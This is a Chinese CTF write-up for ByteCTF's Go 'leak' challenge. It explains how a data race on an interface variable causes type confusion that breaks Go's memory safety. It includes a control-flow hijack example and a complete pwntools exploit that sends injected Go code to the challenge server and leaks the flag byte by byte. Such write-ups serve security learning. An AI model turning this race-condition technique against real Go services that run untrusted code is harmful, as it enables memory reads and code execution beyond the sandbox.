[ByteCTF] Pwn - leak (golang data race)
一道google题
golang相关
一些特性
- golang默认是静态编译,而且系统ASLR不作用在goroutine自己实现和维护的栈上。从这题上看,main调用了hack,所以对hack的改动不会影响main中数据在栈上的偏移。只要先在本地计算出hack第一个变量和flag之间的偏移,就可以计算出远程环境中flag在栈上的位置。
- goroutine的模型大概如下(知乎看到的):
- M是系统线程,P是上下文,G是一个goroutine。具体实现请移步:https://www.zhihu.com/question/20862617
- 创建goroutine很容易,只需要
go function_name()
即可
- 题目不允许import包,但是builtin包中有println可以用来打印信息(打印变量地址或值)
go中的数据结构
实现本题要用到的数据结构不多,只介绍go中常用于data race的数据结构
更详细的资料请移步文档:https://studygolang.com/pkgdoc
Struct
基本定义如下:
type struct_name struct {
name type
}
Go 语言中没有类的概念,因此在 Go 中结构体有着更为重要的地位。结构体是复合类型(composite types),当需要定义一个类型,它由一系列属性组成,每个属性都有自己的类型和值的时候,就应该使用结构体,它把数据聚集在一起。
Interface
interface是一组method的集合,是duck-type programming的一种体现。接口做的事情就像是定义一个协议(规则),只要一台机器有洗衣服和甩干的功能,我就称它为洗衣机。不关心属性(数据),只关心行为(方法)。
接口(interface)也是一种类型。
一个对象只要全部实现了接口中的方法,那么就实现了这个接口。换句话说,接口就是一个需要实现的方法列表。
例子:
// Sayer 接口
type Sayer interface {
say()
}
type dog struct {}
type cat struct {}
// dog实现了Sayer接口
func (d dog) say() {
fmt.Println("汪汪汪")
}
// cat实现了Sayer接口
func (c cat) say() {
fmt.Println("喵喵喵")
}
func main() {
var x Sayer // 声明一个Sayer类型的变量x
a := cat{} // 实例化一个cat
b := dog{} // 实例化一个dog
x = a // 可以把cat实例直接赋值给x
x.say() // 喵喵喵
x = b // 可以把dog实例直接赋值给x
x.say() // 汪汪汪
}
可以看到,实现了接口方法的结构体变量可以赋值给接口变量,然后可以用该接口来调用被实现的方法。
值接收者和指针接收者实现接口的区别(这里不是很清楚,建议自己查):
当值接收者实现接口:
func (d dog) move() {
fmt.Println("狗会动")
}
func main() {
var x Mover
var wangcai = dog{} // 旺财是dog类型
x = wangcai // x可以接收dog类型
var fugui = &dog{} // 富贵是*dog类型
x = fugui // x可以接收*dog类型
x.move()
}
可以发现:使用值接收者实现接口之后,不管是dog结构体还是结构体指针*dog
类型的变量都可以赋值给该接口变量。因为Go语言中有对指针类型变量求值的语法糖,dog指针fugui内部会自动求值*fugui
。
注意
当指针接收者实现接口:
func (d *dog) move() {
fmt.Println("狗会动")
}
func main() {
var x Mover
var wangcai = dog{} // 旺财是dog类型
x = wangcai // x不可以接收dog类型
var fugui = &dog{} // 富贵是*dog类型
x = fugui // x可以接收*dog类型
}
此时实现Mover接口的是*dog
类型,所以不能给x传入dog类型的wangcai,此时x只能存储*dog
类型的值。
Slice
切片是数组的一个引用,因此切片是引用类型。但自身是结构体,值拷贝传递。
切片的底层数据结构:
type slice struct {
array unsafe.Pointer
len int
cap int
}
array是被引用的数组的指针,len是引用长度,cap是最大长度(也就是数组的长度)
Data race
比赛结束的时候查到这篇博客:http://wiki.m4p1e.com/article/getById/90
以及它的引用(讲得比较好,建议看这个):https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html
这两篇博客解释了data race的原理
interface既然可以接收不同的实现了接口方法的接口题变量,那么它一定是一种更为抽象的数据结构,我将其粗略描述为如下:
type Interface struct{
type **uintptr
data **uintptr
}
所以在给接口变量传值的过程中实际上发生了两次数据转移操作,一次转移到type,一次转移到data。而这个转移操作并不是原子的。意味着,如果在一个goroutine中频繁对接口变量交替传值,在另一个goroutine中调用该接口的方法,就可能出现下面的情况:
- (正常)type和data正好都是A或B struct的type和data
- (异常)type和data分别是A和B struct的type和data,如下:
{
type --> B type
data --> A date --> value f
}
而调用接口时是通过判断type来确定方法的具体实现,这就出现了调用B实现的方法来操作A中数据的错误情况。
看博客中的例子就明白了:
package main
import (
"fmt"
"os"
"runtime"
"strconv"
)
func address(i interface{}) int {
addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
if err != nil {
panic(err)
}
return int(addr)
}
type itf interface {
X()
}
type safe struct {
f *int
}
func (s safe) X() {}
type unsafe struct {
f func()
}
func (u unsafe) X() {
if u.f != nil {
u.f()
}
}
func win() {
fmt.Println("win", i, j)
os.Exit(1)
}
var i, j int
func main() {
if runtime.NumCPU() < 2 {
fmt.Println("need >= 2 CPUs")
os.Exit(1)
}
var confused, good, bad itf
pp := address(win)
good = &safe{f: &pp}
bad = &unsafe{}
confused = good
go func() {
for {
confused = bad
func() {
if i >= 0 {
return
}
fmt.Println(confused)
}()
confused = good
i++
}
}()
for {
confused.X()
j++
}
}
这里暂且不管作者实现的address这个小trick
在main中启动了一个goroutine,其中不断交叉对confused
传值,其中bad
是unsafe
类型,good
是safe
类型。当条件竞争发生,confused
的type
指向bad
,而data
还是good
。当原来的routine调用confused中的X
方法时就会把good
中的*int
值当作函数指针来调用。如果控制这个值为我们想要的函数的地址如win
,就可以实现程序流劫持。
赛题
题目分析
回到题目本身:
package main
func main() {
flag := []int64{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
for i, v := range flag {
flag[i] = v + 1
}
hack()
}
func hack() {
/*code*/
}
地址泄露过程:
- 本地构造好EXP框架后,打印出flag
首元素地址
- 去掉main中的println语句,然后打印hack
中栈变量的地址
- 计算两地址差值作为偏移
- 打印出远程环境中hack
栈变量的地址
- 用之前的偏移计算出flag
首元素的地址
- 注意:
-- go版本一定要和远程对上
-- 虽然main
中的println不影响flag的地址,但是会影响hack
中栈变量的地址
-- 实测发现如果不把EXP框架构造好直接打印hack
栈变量的地址计算出的偏移是不对的,也许编译期间有一些我不知道的机制在里面。
不做过多演示
接下来问题的关键在于泄露一个已知地址上的值应如何实现。
而golang在不使用unsafe
包时不允许把已知的整数值地址,转换为指针进行读写操作。于是需要用条件竞争,来绕过这个限制,从而泄露出我们自定义地址保存的的值。
EXP:
from pwn import *
import time
code_base = '''
func hack(){
println("exp start...")
a := "123"
println(&a)
var confused, good, bad itf
pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}}
good = &safe{f: pp}
bad = &unsafe{}
confused = good
go func() {
for {
confused = bad
func() {
if i >= 0 {
return
}
println(confused)
}()
confused = good
i++
}
}()
for {
confused.X()
j++
}
println("exp stop...")
}
var i, j int
type safe struct {
f int
}
type unsafe struct {
f *int
}
type itf interface {
X()
}
func (s safe) X() {}
func (u unsafe) X() {
if u.f != nil {
println("AAAA")
println(*u.f)
}
}
#'''
flag = ""
for i in range(45):
p = remote("123.56.96.75", 30775)
#context.log_level = "debug"
p.recvuntil(b"[*] Now give me your code: \n")
print(str())
code = code_base.replace('{{offset}}', str(i))
p.sendline(code)
p.recvuntil(b"AAAA\n")
chr_int = int(p.recvuntil(b"\n", drop=True), 10)
flag += chr(chr_int - 1)
p.close()
print(flag)
print("flag:", flag)
单独看其中code_base
部分
func hack(){
println("exp start...")
a := "123"
println(&a) //用于地址泄露
var confused, good, bad itf
pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} //远程环境下flag每一个元素的地址
good = &safe{f: pp}
bad = &unsafe{}
confused = good
go func() {
for {
confused = bad
func() {
if i >= 0 {
return
}
println(confused)
}()
confused = good
i++
}
}()
for {
confused.X()
j++
}
println("exp stop...")
}
var i, j int
type safe struct {
f int
}
type unsafe struct {
f *int
}
type itf interface {
X()
}
func (s safe) X() {}
func (u unsafe) X() {
if u.f != nil {
println("AAAA")
println(*u.f)
}
}
其中safe
结构中有int
类型的f
,而unsafe
结构中有*int
类型的f
。并且unsafe
实现了接口itf
的X
方法,该方法输出f *int
指针保存的值。在条件竞争时,如果confused
中type为unsafe,而data为bad中的数据(创建bad
的时候f
被赋值为flag元素的地址),这时调用confused
的X
方法就会打印出flag元素地址中的值了。
最后python统一接收处理得出flag。